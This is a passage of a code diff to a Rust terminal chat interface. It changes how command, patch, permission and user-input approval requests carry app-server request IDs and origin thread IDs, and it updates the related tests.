b/codex-rs/tui/src/chatwidget/protocol_requests.rs @@ -11,29 +11,28 @@ impl ChatWidget { request: ServerRequest, replay_kind: Option, ) { - let id = request.id().to_string(); match request { - ServerRequest::CommandExecutionRequestApproval { params, .. } => { + ServerRequest::CommandExecutionRequestApproval { request_id, params } => { let fallback_cwd = self.config.cwd.clone(); self.on_exec_approval_request( - id, + Some(request_id), exec_approval_request_from_params(params, &fallback_cwd), ); } - ServerRequest::FileChangeRequestApproval { params, .. } => { + ServerRequest::FileChangeRequestApproval { request_id, params } => { self.on_apply_patch_approval_request( - id, + Some(request_id), patch_approval_request_from_params(params), ); } ServerRequest::McpServerElicitationRequest { request_id, params } => { self.on_elicitation_request(request_id, params); } - ServerRequest::PermissionsRequestApproval { params, .. } => { + ServerRequest::PermissionsRequestApproval { request_id, params } => { // TODO(anp): Remove this native-path localization error path once core permission // paths remain PathUri after crossing the app-server boundary. match request_permissions_from_params(params) { - Ok(event) => self.on_request_permissions(event), + Ok(event) => self.on_request_permissions(Some(request_id), event), Err(err) => { self.add_error_message(format!( "failed to localize requested filesystem paths: {err}" @@ -41,8 +40,8 @@ impl ChatWidget { } } } - ServerRequest::ToolRequestUserInput { params, .. } => { - self.on_request_user_input(params); + ServerRequest::ToolRequestUserInput { request_id, params } => { + self.on_request_user_input(Some(request_id), params); } ServerRequest::DynamicToolCall { .. } | ServerRequest::AttestationGenerate { .. } diff --git a/codex-rs/tui/src/chatwidget/slash_dispatch.rs b/codex-rs/tui/src/chatwidget/slash_dispatch.rs index df9c65f8ce..fe5d665f14 100644 --- a/codex-rs/tui/src/chatwidget/slash_dispatch.rs +++ b/codex-rs/tui/src/chatwidget/slash_dispatch.rs @@ -507,7 +507,7 @@ impl ChatWidget { use crate::diff_model::FileChange; self.on_apply_patch_approval_request( - "1".to_string(), + /*app_server_request_id*/ None, ApplyPatchApprovalRequestEvent { call_id: "1".to_string(), turn_id: "turn-1".to_string(), diff --git a/codex-rs/tui/src/chatwidget/tests/app_server.rs b/codex-rs/tui/src/chatwidget/tests/app_server.rs index 952aff9f95..86c69b62d6 100644 --- a/codex-rs/tui/src/chatwidget/tests/app_server.rs +++ b/codex-rs/tui/src/chatwidget/tests/app_server.rs @@ -296,8 +296,9 @@ async fn invalid_url_elicitation_is_declined() { assert_matches!( rx.try_recv(), - Ok(AppEvent::SubmitThreadOp { + Ok(AppEvent::ResolveAppServerRequest { thread_id: op_thread_id, + request_id: codex_app_server_protocol::RequestId::Integer(9), op: Op::ResolveElicitation { server_name, request_id: codex_app_server_protocol::RequestId::Integer(9), diff --git a/codex-rs/tui/src/chatwidget/tests/approval_requests.rs b/codex-rs/tui/src/chatwidget/tests/approval_requests.rs index 7e152628be..f538e1c90d 100644 --- a/codex-rs/tui/src/chatwidget/tests/approval_requests.rs +++ b/codex-rs/tui/src/chatwidget/tests/approval_requests.rs @@ -378,6 +378,54 @@ async fn exec_approval_uses_approval_id_when_present() { assert!(found, "expected ExecApproval op to be sent"); } +#[tokio::test] +async fn deferred_app_server_approval_preserves_origin_thread() { + let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; + let origin_thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000001").expect("valid thread id"); + let focused_thread_id = + ThreadId::try_from("00000000-0000-0000-0000-000000000002").expect("valid thread id"); + let request_id = AppServerRequestId::String("request-1".to_string()); + chat.interrupts.push_exec_approval( + Some(origin_thread_id), + Some(request_id.clone()), + ExecApprovalRequestEvent { + call_id: "call".to_string(), + approval_id: Some("approval".to_string()), + approval_purpose: None, + turn_id: "turn".to_string(), + environment_id: None, + command: vec!["true".to_string()], + cwd: AbsolutePathBuf::current_dir().expect("current dir"), + reason: None, + network_approval_context: None, + proposed_execpolicy_amendment: None, + proposed_network_policy_amendments: None, + additional_permissions: None, + available_decisions: None, + }, + ); + chat.thread_id = Some(focused_thread_id); + + chat.flush_interrupt_queue(); + chat.handle_key_event(KeyEvent::new(KeyCode::Char('y'), KeyModifiers::NONE)); + + let event = std::iter::from_fn(|| rx.try_recv().ok()) + .find(|event| matches!(event, AppEvent::ResolveAppServerRequest { .. })) + .expect("expected exact app-server resolution"); + let AppEvent::ResolveAppServerRequest { + thread_id, + request_id: event_request_id, + op: Op::ExecApproval { id, .. }, + } = event + else { + panic!("expected exact exec approval resolution"); + }; + assert_eq!(thread_id, origin_thread_id); + assert_eq!(event_request_id, request_id); + assert_eq!(id, "approval"); +} + #[tokio::test] async fn exec_approval_decision_truncates_multiline_and_long_commands() { let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; diff --git a/codex-rs/tui/src/chatwidget/tests/helpers.rs b/codex-rs/tui/src/chatwidget/tests/helpers.rs index 5e23e9f96a..d31cf19a38 100644 --- a/codex-rs/tui/src/chatwidget/tests/helpers.rs +++ b/codex-rs/tui/src/chatwidget/tests/helpers.rs @@ -601,7 +601,8 @@ pub(super) fn handle_exec_approval_request( id: impl Into, event: ExecApprovalRequestEvent, ) { - chat.on_exec_approval_request(id.into(), event); + let _ = id.into(); + chat.on_exec_approval_request(/*app_server_request_id*/ None, event); } pub(super) fn handle_apply_patch_approval_request( @@ -609,7 +610,8 @@ pub(super) fn handle_apply_patch_approval_request( id: impl Into, event: ApplyPatchApprovalRequestEvent, ) { - chat.on_apply_patch_approval_request(id.into(), event); + let _ = id.into(); + chat.on_apply_patch_approval_request(/*app_server_request_id*/ None, event); } fn file_update_changes_from_tui(changes: HashMap) -> Vec { diff --git a/codex-rs/tui/src/chatwidget/tests/plan_mode.rs b/codex-rs/tui/src/chatwidget/tests/plan_mode.rs index fd2b2314e2..6347870fb1 100644 --- a/codex-rs/tui/src/chatwidget/tests/plan_mode.rs +++ b/codex-rs/tui/src/chatwidget/tests/plan_mode.rs @@ -582,23 +582,26 @@ async fn request_user_input_notification_overrides_pending_agent_turn_complete_n chat.notify(Notification::AgentTurnComplete { response: "done".to_string(), }); - chat.handle_request_user_input_now(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-1".to_string(), - turn_id: "turn-1".to_string(), - questions: vec![ToolRequestUserInputQuestion { - id: "reasoning_scope".to_string(), - header: "Reasoning scope".to_string(), - question: "Which reasoning scope should I use?".to_string(), - is_other: false, - is_secret: false, - options: Some(vec![ToolRequestUserInputOption { - label: "Plan only".to_string(), - description: "Update only Plan mode.".to_string(), - }]), - }], - auto_resolution_ms: None, - }); + chat.handle_request_user_input_now( + /*app_server_request_id*/ None, + ToolRequestUserInputParams { + thread_id: "thread-1".to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-1".to_string(), + questions: vec![ToolRequestUserInputQuestion { + id: "reasoning_scope".to_string(), + header: "Reasoning scope".to_string(), + question: "Which reasoning scope should I use?".to_string(), + is_other: false, + is_secret: false, + options: Some(vec![ToolRequestUserInputOption { + label: "Plan only".to_string(), + description: "Update only Plan mode.".to_string(), + }]), + }], + auto_resolution_ms: None, + }, + ); assert_matches!( chat.pending_notification, @@ -612,23 +615,26 @@ async fn handle_request_user_input_sets_pending_notification() { chat.config.tui_notifications.notifications = Notifications::Custom(vec!["plan-mode-prompt".to_string()]); - chat.handle_request_user_input_now(ToolRequestUserInputParams { - thread_id: "thread-1".to_string(), - item_id: "call-1".to_string(), - turn_id: "turn-1".to_string(), - questions: vec![ToolRequestUserInputQuestion { - id: "reasoning_scope".to_string(), - header: "Reasoning scope".to_string(), - question: "Which reasoning scope should I use?".to_string(), - is_other: false, - is_secret: false, - options: Some(vec![ToolRequestUserInputOption { - label: "Plan only".to_string(), - description: "Update only Plan mode.".to_string(), - }]), - }], - auto_resolution_ms: None, - }); + chat.handle_request_user_input_now( + /*app_server_request_id*/ None, + ToolRequestUserInputParams { + thread_id: "thread-1".to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-1".to_string(), + questions: vec![ToolRequestUserInputQuestion { + id: "reasoning_scope".to_string(), + header: "Reasoning scope".to_string(), + question: "Which reasoning scope should I use?".to_string(), + is_other: false, + is_secret: false, + options: Some(vec![ToolRequestUserInputOption { + label: "Plan only".to_string(), + description: "Update only Plan mode.".to_string(), + }]), + }], + auto_resolution_ms: None, + }, + ); assert_matches!( chat.pending_notification, diff --git a/codex-rs/tui/src/chatwidget/tests/status_and_layout.rs b/codex-rs/tui/src/chatwidget/tests/status_and_layout.rs index e121a56fe4..62b5075444 100644 --- a/codex-rs/tui/src/chatwidget/tests/status_and_layout.rs +++ b/codex-rs/tui/src/chatwidget/tests/status_and_layout.rs @@ -1571,13 +1571,16 @@ async fn request_user_input_interrupt_pauses_active_goal_turn() { ] { let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await; let thread_id = start_active_goal_turn(&mut chat); - chat.handle_request_user_input_now(ToolRequestUserInputParams { - thread_id: thread_id.to_string(), - item_id: "call-1".to_string(), - turn_id: "turn-1".to_string(), - questions: Vec::new(), - auto_resolution_ms: None, - }); + chat.handle_request_user_input_now( + /*app_server_request_id*/ None, + ToolRequestUserInputParams { + thread_id: thread_id.to_string(), + item_id: "call-1".to_string(), + turn_id: "turn-1".to_string(), + questions: Vec::new(), + auto_resolution_ms: None, + }, + ); chat.handle_key_event(key_event); diff --git a/codex-rs/tui/src/chatwidget/tool_requests.rs b/codex-rs/tui/src/chatwidget/tool_requests.rs index f3ff2391f6..943b0b8149 100644 --- a/codex-rs/tui/src/chatwidget/tool_requests.rs +++ b/codex-rs/tui/src/chatwidget/tool_requests.rs @@ -6,25 +6,33 @@ use super::*; impl ChatWidget { - pub(super) fn on_exec_approval_request(&mut self, _id: String, ev: ExecApprovalRequestEvent) { + pub(super) fn on_exec_approval_request( + &mut self, + app_server_request_id: Option, + ev: ExecApprovalRequestEvent, + ) { self.record_visible_turn_activity(); let ev2 = ev.clone(); + let app_server_request_id2 = app_server_request_id.clone(); + let thread_id = self.thread_id; self.defer_or_handle( - |q| q.push_exec_approval(ev), - |s| s.handle_exec_approval_now(ev2), + |q| q.push_exec_approval(thread_id, app_server_request_id, ev), + |s| s.handle_exec_approval_now(thread_id, app_server_request_id2, ev2), ); } pub(super) fn on_apply_patch_approval_request( &mut self, - _id: String, + app_server_request_id: Option, ev: ApplyPatchApprovalRequestEvent, ) { self.record_visible_turn_activity(); let ev2 = ev.clone(); + let app_server_request_id2 = app_server_request_id.clone(); + let thread_id = self.thread_id; self.defer_or_handle( - |q| q.push_apply_patch_approval(ev), - |s| s.handle_apply_patch_approval_now(ev2), + |q| q.push_apply_patch_approval(thread_id, app_server_request_id, ev), + |s| s.handle_apply_patch_approval_now(thread_id, app_server_request_id2, ev2), ); } @@ -267,25 +275,45 @@ impl ChatWidget { ); } - pub(super) fn on_request_user_input(&mut self, ev: ToolRequestUserInputParams) { + pub(super) fn on_request_user_input( + &mut self, + app_server_request_id: Option, + ev: ToolRequestUserInputParams, + ) { self.record_visible_turn_activity(); let ev2 = ev.clone(); + let app_server_request_id2 = app_server_request_id.clone(); self.defer_or_handle( - |q| q.push_user_input(ev), - |s| s.handle_request_user_input_now(ev2), + |q| q.push_user_input(app_server_request_id, ev), + |s| s.handle_request_user_input_now(app_server_request_id2, ev2), ); } - pub(super) fn on_request_permissions(&mut self, ev: RequestPermissionsEvent) { + pub(super) fn on_request_permissions( + &mut self, + app_server_request_id: Option, + ev: RequestPermissionsEvent, + ) { self.record_visible_turn_activity(); let ev2 = ev.clone(); + let app_server_request_id2 = app_server_request_id.clone(); + let thread_id = self.thread_id; self.defer_or_handle( - |q| q.push_request_permissions(ev), - |s| s.handle_request_permissions_now(ev2), + |q| q.push_request_permissions(thread_id, app_server_request_id, ev), + |s| s.handle_request_permissions_now(thread_id, app_server_request_id2, ev2), ); } - pub(crate) fn handle_exec_approval_now(&mut self, ev: ExecApprovalRequestEvent) { + pub(crate) fn handle_exec_approval_now( + &mut self, + origin_thread_id: Option, + app_server_request_id: Option, + ev: ExecApprovalRequestEvent, + ) { + if app_server_request_id.is_some() && origin_thread_id.is_none() { + tracing::warn!("ignoring app-server exec approval without an active thread"); + return; + } self.flush_answer_stream_with_separator(); let command = shlex::try_join(ev.command.iter().map(String::as_str)) .unwrap_or_else(|_| ev.command.join(" ")); @@ -293,7 +321,8 @@ impl ChatWidget { let available_decisions = ev.effective_available_decisions(); let request = ApprovalRequest::Exec { - thread_id: self.thread_id.unwrap_or_default(), + thread_id: origin_thread_id.unwrap_or_default(), + app_server_request_id, thread_label: None, id: ev.effective_approval_id(), environment_id: ev.environment_id, @@ -312,11 +341,21 @@ impl ChatWidget { self.request_redraw(); } - pub(crate) fn handle_apply_patch_approval_now(&mut self, ev: ApplyPatchApprovalRequestEvent) { + pub(crate) fn handle_apply_patch_approval_now( + &mut self, + origin_thread_id: Option, + app_server_request_id: Option, + ev: ApplyPatchApprovalRequestEvent, + ) { + if app_server_request_id.is_some() && origin_thread_id.is_none() { + tracing::warn!("ignoring app-server patch approval without an active thread"); + return; + } self.flush_answer_stream_with_separator(); let request = ApprovalRequest::ApplyPatch { - thread_id: self.thread_id.unwrap_or_default(), + thread_id: origin_thread_id.unwrap_or_default(), + app_server_request_id, thread_label: None, id: ev.call_id, reason: ev.reason, @@ -347,8 +386,13 @@ impl ChatWidget { server_name: params.server_name.clone(), }); - let thread_id = ThreadId::from_string(¶ms.thread_id) - .unwrap_or_else(|_| self.thread_id.unwrap_or_default()); + let Ok(thread_id) = ThreadId::from_string(¶ms.thread_id) else { + tracing::warn!( + thread_id = params.thread_id, + "ignoring MCP elicitation with invalid thread_id" + ); + return; + }; if let Some(params) = crate::bottom_pane::AppLinkViewParams::from_url_app_server_request( thread_id, ¶ms.server_name, @@ -419,7 +463,11 @@ impl ChatWidget { self.request_redraw(); } - pub(crate) fn handle_request_user_input_now(&mut self, ev: ToolRequestUserInputParams) { + pub(crate) fn handle_request_user_input_now( + &mut self, + app_server_request_id: Option, + ev: ToolRequestUserInputParams, + ) { self.flush_answer_stream_with_separator(); let question_count = ev.questions.len(); let summary = Notification::user_input_request_summary(&ev.questions); @@ -429,7 +477,24 @@ impl ChatWidget { (count, _) => format!("{count} questions requested"), }; self.notify(Notification::PlanModePrompt { title }); - self.bottom_pane.push_user_input_request(ev); + let identity = match app_server_request_id { + Some(request_id) => { + let Ok(thread_id) = ThreadId::from_string(&ev.thread_id) else { + tracing::warn!( + thread_id = ev.thread_id, + "ignoring app-server user-input request with invalid thread_id" + ); + return; + }; + Some(AppServerRequestIdentity { + thread_id, + request_id, + }) + } + None => None, + }; + self.bottom_pane + .push_user_input_request_with_identity(ev, identity); self.set_ambient_pet_notification( crate::pets::PetNotificationKind::Waiting, /*body*/ None, @@ -437,10 +502,20 @@ impl ChatWidget { self.request_redraw(); } - pub(crate) fn handle_request_permissions_now(&mut self, ev: RequestPermissionsEvent) { + pub(crate) fn handle_request_permissions_now( + &mut self, + origin_thread_id: Option, + app_server_request_id: Option, + ev: RequestPermissionsEvent, + ) { + if app_server_request_id.is_some() && origin_thread_id.is_none() { + tracing::warn!("ignoring app-server permissions approval without an active thread"); + return; + } self.flush_answer_stream_with_separator(); let request = ApprovalRequest::Permissions { - thread_id: self.thread_id.unwrap_or_default(), + thread_id: origin_thread_id.unwrap_or_default(), + app_server_request_id, thread_label: None, call_id: ev.call_id, environment_id: ev.environment_id,